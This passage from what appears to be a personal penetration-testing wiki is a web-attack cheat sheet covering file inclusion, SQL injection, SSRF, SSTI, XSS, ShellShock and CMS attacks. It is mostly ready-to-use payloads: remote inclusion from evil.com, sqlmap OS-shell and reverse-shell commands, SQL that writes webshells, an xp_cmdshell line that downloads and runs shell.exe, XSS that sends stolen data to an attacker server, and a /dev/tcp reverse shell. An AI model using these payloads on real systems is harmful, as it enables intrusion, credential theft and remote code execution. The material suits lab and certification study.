http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.&lt;br /&gt;
&#039;user1&#039; or 1=1&lt;br /&gt;
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement&lt;br /&gt;
&#039;user1&#039; or 1=1 LIMIT1;#&lt;br /&gt;
&lt;br /&gt;
&#039; or 1=1; -- -&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Basic SQL Injection ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection&lt;br /&gt;
https://blog.aghanim.net/?p=1203&lt;br /&gt;
# ENTRY POINT DETECTION&lt;br /&gt;
## Detection of an SQL injection entry point Simple characters&lt;br /&gt;
&#039;&lt;br /&gt;
%27&lt;br /&gt;
&amp;quot;&lt;br /&gt;
%22&lt;br /&gt;
#&lt;br /&gt;
%23&lt;br /&gt;
;&lt;br /&gt;
%3B&lt;br /&gt;
)&lt;br /&gt;
Wildcard (*)&lt;br /&gt;
&#039;  # required for XML content&lt;br /&gt;
## Multiple encoding&lt;br /&gt;
%%2727&lt;br /&gt;
%25%27&lt;br /&gt;
## Merging characters&lt;br /&gt;
`+HERP&lt;br /&gt;
&#039;||&#039;DERP&lt;br /&gt;
&#039;+&#039;herp&lt;br /&gt;
&#039; &#039;DERP&lt;br /&gt;
&#039;%20&#039;HERP&lt;br /&gt;
&#039;%2B&#039;HERP&lt;br /&gt;
## Logic Testing&lt;br /&gt;
page.asp?id=1 or 1=1 -- true&lt;br /&gt;
page.asp?id=1&#039; or 1=1 -- true&lt;br /&gt;
page.asp?id=1&amp;quot; or 1=1 -- true&lt;br /&gt;
page.asp?id=1 and 1=2 -- false&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Database ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use &#039;order by&#039; clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.&lt;br /&gt;
# If error out on 4, that means that there are 3 columns.&lt;br /&gt;
?id=1 order by 1&lt;br /&gt;
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW&lt;br /&gt;
http://localhost/debug.php?id=1 union all select 1, 2, 3&lt;br /&gt;
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
# MariaDB version&lt;br /&gt;
?id=1 union all select 1, 2, @@version&lt;br /&gt;
# Database user&lt;br /&gt;
?id=1 union all select 1, 2, user()&lt;br /&gt;
# Enumerate database tables and column structures through &#039;information_schema&#039;&lt;br /&gt;
?id=1 union all select 1, 2, table_name from information_schema.tables&lt;br /&gt;
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=&#039;users&#039;&lt;br /&gt;
?id=1 union all select 1, username, password from users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== SQLmap ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic arguments for SQLmap&lt;br /&gt;
sqlmap --url=&amp;quot;&amp;quot; -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs&lt;br /&gt;
# Load a request file and use mobile user-agent&lt;br /&gt;
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1&lt;br /&gt;
# Custom injection in UserAgent/Header/Referer/Cookie&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com&amp;quot; --data &amp;quot;username=admin&amp;amp;password=pass&amp;quot;  --headers=&amp;quot;x-forwarded-for:127.0.0.1*&amp;quot;&lt;br /&gt;
## The injection is located at the &#039;*&#039;&lt;br /&gt;
# SHELL&lt;br /&gt;
## SQL Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --sql-shell&lt;br /&gt;
## Simple Shell&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-shell&lt;br /&gt;
## Dropping a reverse-shell / meterpreter&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --os-pwn&lt;br /&gt;
## SSH Shell by dropping an SSH key&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot; -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/&lt;br /&gt;
# Crawl a website with SQLmap and auto-exploit&lt;br /&gt;
sqlmap -u &amp;quot;http://example.com/&amp;quot; --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3&lt;br /&gt;
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers&lt;br /&gt;
--crawl = how deep you want to crawl a site&lt;br /&gt;
--forms = Parse and test forms&lt;br /&gt;
# Using TOR with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5&lt;br /&gt;
# Using a proxy with SQLmap&lt;br /&gt;
sqlmap -u &amp;quot;http://www.target.com&amp;quot; --proxy=&amp;quot;http://127.0.0.1:8080&amp;quot;&lt;br /&gt;
# Using Chrome cookie and a Proxy&lt;br /&gt;
sqlmap -u &amp;quot;https://test.com/index.php?id=99&amp;quot; --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy &amp;quot;http://127.0.0.1:8080&amp;quot;  -f  --time-sec 15 --level 3&lt;br /&gt;
# Using suffix to tamper the injection&lt;br /&gt;
python sqlmap.py -u &amp;quot;http://example.com/?id=1&amp;quot;  -p id --suffix=&amp;quot;-- &amp;quot;&lt;br /&gt;
# General tamper option and tamper&#039;s list&lt;br /&gt;
tamper=name_of_the_tamper&lt;br /&gt;
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.&lt;br /&gt;
https://twitter.com/kuldeepdotexe/status/1687897180953034754&lt;br /&gt;
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter=&amp;quot;Generic UNION query (NULL)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Union based sqli ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerate column&lt;br /&gt;
# Add ,NULL until no more erros. Thats how many column there is.&lt;br /&gt;
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.&lt;br /&gt;
&#039; UNION SELECT NULL--&lt;br /&gt;
&#039; UNION SELECT NULL,NULL,NULL FROM DUAL--&lt;br /&gt;
&#039; UNION SELECT table_name,NULL,NULL FROM all_tables--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_ADMINS&#039;--&lt;br /&gt;
Blog entry from ADMIN_NAME with title null from 0&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
&#039; UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--&lt;br /&gt;
&#039; UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name=&#039;WEB_USERS&#039;--&lt;br /&gt;
Blog entry from PASSWORD with title null from 0&lt;br /&gt;
Blog entry from USER_ID with title null from 0&lt;br /&gt;
Blog entry from USER_NAME with title null from 0&lt;br /&gt;
&#039; UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from alice with title null from 0&lt;br /&gt;
Blog entry from eric with title null from 0&lt;br /&gt;
Blog entry from maria with title null from 0&lt;br /&gt;
&#039; UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--&lt;br /&gt;
Blog entry from bobismyuncle with title null from 0&lt;br /&gt;
Blog entry from letmein with title null from 0&lt;br /&gt;
Blog entry from thisismypassword with title null from 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Usuful commands (Upload shells) ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
# Test SQLI with sleep&lt;br /&gt;
# Double hyphen is used to out-comment rest of the query&lt;br /&gt;
&#039; UNION SELECT sleep(5); -- -&lt;br /&gt;
# Write a webshell&lt;br /&gt;
UNION SELECT &amp;quot;&amp;quot; into outfile &amp;quot;C:\\xampp\\htdocs\\backdoor.php&amp;quot;&lt;br /&gt;
UNION SELECT &#039;&#039; INTO OUTFILE &#039;/var/www/html/x.php&#039; FIELDS TERMINATED BY &#039;&#039;&lt;br /&gt;
&#039; UNION SELECT (&amp;quot; into OUTFILE &#039;c:/xampp/htdocs/backdoor.php&#039;&lt;br /&gt;
# Code execution&lt;br /&gt;
?id=1 union all select 1, 2, load_file(&#039;C:/Windows/win.ini&#039;)&lt;br /&gt;
# Mssql download shell, output it, and execute it&lt;br /&gt;
&#039;;EXEC xp_cmdshell &#039;certutil -urlcache -split -f &amp;quot;http://192.168.119.176/shell.exe&amp;quot; C:\windows\temp\shell.exe&amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
# XP_dirtree - Remember to start responder or impacket-smbserver&lt;br /&gt;
1&#039;; use master; exec xp_dirtree &#039;\\192.168.119.176\SHARE&#039;;--&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSRF ===&lt;br /&gt;
&lt;br /&gt;
==== Capture hash ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example from PG Heist&lt;br /&gt;
# On target website&lt;br /&gt;
http://heist.offsec:8080/?url=http://192.168.49.247:80&lt;br /&gt;
# On attacker&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]&lt;br /&gt;
└─# responder -I tun0&lt;br /&gt;
[+] Listening for events...&lt;br /&gt;
[HTTP] NTLMv2 Client   : ::ffff:192.168.247.165&lt;br /&gt;
[HTTP] NTLMv2 Username : HEIST\enox&lt;br /&gt;
[HTTP] NTLMv2 Hash     : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]&lt;br /&gt;
# Hash format&lt;br /&gt;
netntlmv2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
